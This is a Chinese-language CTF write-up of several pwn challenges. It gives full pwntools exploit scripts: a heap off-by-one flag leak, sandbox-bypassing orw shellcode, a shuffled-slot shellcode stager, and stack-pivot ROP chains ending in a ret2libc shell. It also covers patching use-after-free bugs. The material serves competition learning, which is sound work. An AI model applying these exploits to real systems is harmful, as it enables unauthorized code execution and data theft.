FCTF 题录 Pwn warmup 1 保护全开
1 2 3 4 5 6 7 [*] '/home/aichch/pwn/main' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/glibc/glibc-2.31/build/lib'
附件有给源代码,粗读一遍判定为菜单类堆题
程序开头会直接给出flag的地址
考虑如何利用,细读源码发现edit函数存在off-by-one漏洞
1 2 3 4 5 6 7 void edit (void ) { note_t *note = get_note(); if (!note) { puts ("Not found" ); return ; } int len = strlen (note->content); printff("New content: " ); read_str(note->content, len); }
strlen函数到\x00结束,如果某个chunk能占用下一个chunk的prev_size则能覆盖下一个chunk的size
可以用这个漏洞来达到chunk extended and overlapping的目的
再看add函数,进行add函数时
首先创建一个chunk用于一个该note信息管理
再创建一个用户自定义大小的chunk用于存储内容
这两个chunk是黏在一起的
于是,我们可以这样利用
创建3个note
note0用于触发off-by-one
note1用于释放重分配以达到chunk extended and overlapping
note2用于触发show功能读取flag
具体步骤
我创建的三个note的content大小都为24且初始填满(1和2填不填无所谓),方便利用
edit修改note0,使note1的size为一个能够覆盖到note2的content指针的大小
释放note1
再add一个note,content大小为能使分配到的chunk为之前释放的note1的content,并填充内容覆盖note2的content指针
对note2进行show,得到flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *p=remote('1.12.48.154' ,8888 ) p.recvuntil(b'addr: ' ) a=p.recv()[0 :15 ] e=int (a,16 ) p.send(b'1' ) p.recv() p.send(b'24' ) p.recv() p.send(b'a' *24 ) p.recv() p.send(b'1' ) p.recv() p.send(b'24' ) p.recv() p.send(b'a' *24 ) p.recv() p.send(b'1' ) p.recv() p.send(b'24' ) p.recv() p.send(b'a' *24 ) p.recv() p.send(b'2' ) p.recv() p.send(b'0' ) p.recv() p.send(b'A' *24 +b'\x61' ) p.recv() p.send(b'3' ) p.recv() p.send(b'1' ) p.recv() p.send(b'1' ) p.recv() p.send(b'80' ) p.recv() p.send(b'a' *64 +p64(e)) p.recv() p.send(b'4' ) p.recv() p.send(b'2' ) p.interactive()
以上是我第一次做的思路,这样做的话对note1的content大小没有什么要求
后面我发现其实只要两个note也能实现得到flag
不过对note1的content大小有严格要求
因为如果note1的content实际chunk大小为0x20的话
再分配note1的时候,note1头的chunk因为大小合适,直接取的之前被释放的note1的content的chunk
又因为之前的chunk overlapping
所以note1的content就包含了note1的头,可以直接修改note1的content指针
再show-note1得到flag
顺便尝试了下函数写法
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *p=remote('1.12.48.154' ,8888 ) p.recvuntil(b'addr: ' ) a=p.recv()[0 :15 ] e=int (a,16 ) def add (size,content ): p.send(b'1' ) p.recv() p.send(str (size)) p.recv() p.send(content) p.recv() def edit (idx,content ): p.send(b'2' ) p.recv() p.send(str (idx)) p.recv() p.send(content) p.recv() def delete (idx ): p.send(b'3' ) p.recv() p.send(str (idx)) p.recv() add(24 ,b'a' *24 ) add(24 ,b'a' *24 ) edit(0 ,b'A' *24 +b'\x41' ) delete(1 ) add(48 ,b'a' *32 +p64(e)) p.send(b'4' ) p.recv() p.send(b'1' ) p.interactive()
实操调试的一些小细节
主要还是一些关于stdin的细节,当程序读取n个字节时,可以发送多余n的字节,程序读取完后,剩余的数据依然会被保留在stdin中,相邻的输入函数又会直接读取其中的数据,而这可能并不是我们所期望的,这样如果没有注意把控字节数 的话,调试的时候可能出一些问题,例如菜单式题目直接从stdin中读取一个数据,读到了非菜单区号数据,那么程序的运行就会受阻;又或者程序读取的数据,并没有包含整个我们需要的数据,又会出现问题
总之需要注意发送的数据与接收的数据数量对应关系,特别要注意\n符
shellcode1 checksec
1 2 3 4 5 6 7 [!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/aichch/pwn/s1' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
ida打开,程序执行并不复杂
1 2 3 4 5 6 7 8 9 10 11 fwrite("Input your shellcode:\n" , 1uLL , 0x16 uLL, _bss_start); read(0 , buf, 0x100 uLL); if ( strlen ((const char *)buf) <= 5 ){ sandbox(); ((void (*)(void ))buf)(); } else { fwrite("Oops! maybe too long!\n" , 1uLL , 0x16 uLL, _bss_start); }
可以通过再payload前添加’\x00’绕过strlen的检测,但单独一个‘\x00’会使得程序流停滞 ,故可以让’\x00’和push联合作为一条指令—-push 0h(\x6a00)
另外程序开启了沙盒,只能使用orw操作
exp:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=remote('1.12.48.154' ,2225 ) context(os='linux' , arch='amd64' ) sh=shellcraft.open ('./flag' ) sh+=shellcraft.read(3 ,'rsp' ,100 ) sh+=shellcraft.write(1 ,'rsp' ,100 ) sh=asm(sh) p.send(b'\x6a\x00' +sh) p.interactive()
另外提一下,程序进行时stdin,stdout,stderr三个文件流是自行打开的,文件描述符分别是0,1,2
故之后打开的文件的描述符是从3开始的
shellcode2 这题没做出来,汇编忘得差不多了,还是太依赖ida的反汇编了😥
赛后看大佬的wp才恍然大悟
这题在于程序一次只能执行四个字节长度的代码,故如果要连接各串代码还需要用到jmp指令,又占去了一半的长度,
再加上程序还会随机打乱代码顺序
想直接完成orw几乎不可能
但可以观察到
1 2 3 4 5 .text:00000000000016DA 48 8B 45 F0 mov rax, [rbp+var_10] .text:00000000000016DE 48 83 C0 10 add rax, 10h .text:00000000000016E2 48 89 C2 mov rdx, rax .text:00000000000016E5 B8 00 00 00 00 mov eax, 0 .text:00000000000016EA FF D2 call rdx
程序是通过rdx跳往代码执行处的
那么第一次只需要向rdx处写命令,并在前面填充一些nop,程序流继续往下执行就会执行新写的命令了
那么第一次执行的代码因该就要是read(0,rdx,rdx),长度不用指定只要够大就行
因为syscall要在最后执行,所以只有四分之一的成功率
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *p = remote("1.12.48.154" , 2226 ) context.arch = 'amd64' next_slot = ';jmp $+30' def gen_slot (code ): return code + next_slot preamble = [] preamble.append(gen_slot('xor edi, edi' )) preamble.append(gen_slot('xor eax, eax' )) preamble.append(gen_slot('push rdx;pop rsi' )) preamble.append(gen_slot('syscall' )) sc = ''' movabs rax, 0x67616c66 push rax mov rdi, rsp xor rsi, rsi mov rax, 0x2 syscall mov rdi, rax xor rax, rax mov rsi, rsp mov rdx, 0x100 syscall mov rax, 1 mov rdi, 1 syscall ''' p.sendafter(b'want?\n' , b'4' ) for i in range (4 ): p.send(asm(preamble[i])) p.send(b'\x90' *0x100 + asm(sc)) print (p.recvuntil(b'Fire!\n' ))print (p.recv())
因为open函数执行后,文件描述符存储在rax,所以直接rax赋值给rdi就行了
Play-with-rop checksec
1 2 3 4 5 6 [*] '/home/aichch/pwn/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
存在溢出但只能控制rbp和rip,故需要先进行栈迁移
第一次通过再调用一次main中的read往迁移后的rbp-0x30写来进一步获得栈迁移的能力
之后栈迁移后利用puts函数将broken_keys打印出来,在跳转到wonderland获得加密后的flag
这题不算很难,但做的时候栈迁移的位置不好,被printf的栈越界卡住了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *p = remote("1.12.48.154" , 2224 ) elf = ELF('./chall' ) puts = elf.plt['puts' ] pop_rdi_rsi_rdx = 0x4012A9 key0_addr = 0x4040B0 key1_addr = key0_addr + 0x8 key2_addr = key1_addr + 0x8 lea_ret = 0x04016B4 read_again = 0x401686 wonderland = 0x4012D6 fake_rbp = 0x404600 + 0x880 payload = b'a' * 0x30 + p64(fake_rbp) + p64(read_again) p.sendafter(b'leave your name' , payload) payload2 = p64(pop_rdi_rsi_rdx) + p64(0 ) + p64(fake_rbp-0x30 ) + p64(0x100 ) + p64(elf.plt['read' ]) + p64(0 ) + p64(fake_rbp-0x38 ) + p64(lea_ret) p.send(payload2) payload3 = b'a' *0x28 + p64(pop_rdi_rsi_rdx) + p64(key0_addr) + p64(0 )*2 + p64(puts) + p64(pop_rdi_rsi_rdx) + p64(0 ) * 3 + p64(wonderland) p.send(payload3) data = p.recvuntil(b'flag:' ) keys = data[77 :77 +24 ] k0 = u64(keys[:8 ]) k1 = u64(keys[8 :16 ]) ^ k0 k2 = u64(keys[16 :24 ]) ^ k1 print (hex (k0), hex (k1), hex (k2))flag = p.recv().strip() real_flag = b'' real_flag += (u64(flag[:8 ]) ^ k0).to_bytes(8 , byteorder='little' ) real_flag += (u64(flag[8 :16 ]) ^ k1).to_bytes(8 , byteorder='little' ) real_flag += (u64(flag[16 :24 ]) ^ k2).to_bytes(8 , byteorder='little' ) real_flag += (u64(flag[24 :32 ]) ^ k0).to_bytes(8 , byteorder='little' ) real_flag += (u64(flag[32 :40 ]) ^ k1).to_bytes(8 , byteorder='little' ) real_flag += (u64(flag[40 :48 ]) ^ k2).to_bytes(8 , byteorder='little' ) print (real_flag)
拾遗 0x1不要过于依赖反汇编
很多细节其实是藏在汇编代码中的,如果过于依赖反汇编就很难发现这部分细节
0x2用pwntools汇编注意设置环境
pwntools,asm功能默认是在i386下,如果不设置环境的可能会出大错
0x3出现过的库函数皆可使用
只要函数被调用过,并布置好参数,所有的库函数都可以被使用,太久没做栈迁移,竟然忘记用可以用read部署了……….
0x4栈迁移的地址选择
printf和puts等函数调用时使用的栈空间较大,栈迁移后如果迁移位置不合适,很可能会造成内存越界,访问不可写的内存空间,从而产生段错误,故迁移位置一定要足够合适,一般至少要留0x800的可写空间
2023ciscn华东南 login
patch 栈溢出,buf的大小是0xf0
但是读入0x100会造成栈溢出
patch输入大小为0xf1即可,不晓得为什么0xf0不行
attack 防御只开了nx和got表保护
溢出有限
必然要栈迁移
然后泄露地址,并再次返回到read数据段处
然后因为要防止栈越界
要通过read再次调整栈到高处
最后getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *lr=0x40136E r=0x40101a bss=0x404060 bssplus=bss+0xa00 pop_rdi=0x4013d3 pop_rsi_r15=0x4013d1 readagain=0x401353 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf=ELF('./login' ) p=process('./login' ) p.recv() p.send(b'a' *0xf0 +p64(bss+0x48 )+p64(lr)) gdb.attach(p) pause() print (p.recv())payload=p64(0 )*9 +p64(bss+0x38 ) payload+=p64(pop_rdi)+p64(elf.got['puts' ])+p64(elf.plt['puts' ]) payload+=p64(r)+p64(readagain) p.send(payload) puts_addr=u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc_base=puts_addr-libc.symbols['puts' ] binsh=libc_base+next (libc.search(b'/bin/sh' )) system_addr=libc_base+libc.symbols['system' ] gets_addr=libc_base+libc.symbols['gets' ] print (hex (puts_addr))print (hex (libc_base))payload=p64(0 )*7 +p64(bssplus)+p64(pop_rdi) payload+=p64(0 )+p64(pop_rsi_r15)+p64(bssplus)+p64(0 )+p64(elf.plt['read' ]) payload+=p64(lr) p.send(payload) p.send(p64(bssplus)+p64(pop_rdi)+p64(binsh)+p64(r)+p64(system_addr)) p.interactive()
主要就是栈迁移,不过为了防止栈越界,不得不做更多的布置
拾遗 gdb和pause组合有时会产生各种各样的牛马问题,二者单独存在问题不大,但一组合就需要谨慎区别了,确认exp无问题就去掉二者,不然exp对了也无法getshell
又发现,就算二者组合,只要没有在gdb中操控程序则不会出现问题
houmt patch
存在uaf漏洞
添加置0功能,但显然不能在原来的位置,否则会覆盖其他代码
选择在eh.frame节上增加功能
首先修改权限,rwx
之后再eh.frame上找一个合适的位置打上补丁
同样先调用free,之后再重新获得偏移并寻址置零
patch成功
拾遗 当要修改的长度大于原有长度时,就需要跳转到别处执行,执行后再返回到原处
一般选择eh.frame节或者.fini节
notepad patch
发现,依然存在uaf,free后只是将存储的chunk的大小置零,而并没有将指针置零
与上一题很像,但据师傅们所说,按照上一题的方法会存在异常
于是可以利用原语句中将size置零,去掉偏移即是指针置零
将偏移变为0,patch成功
拾遗 合理利用偏移有时候能达到意想不到的效果
MaskNote patch
连接字符串长度超过其原有长度
修改
patch成功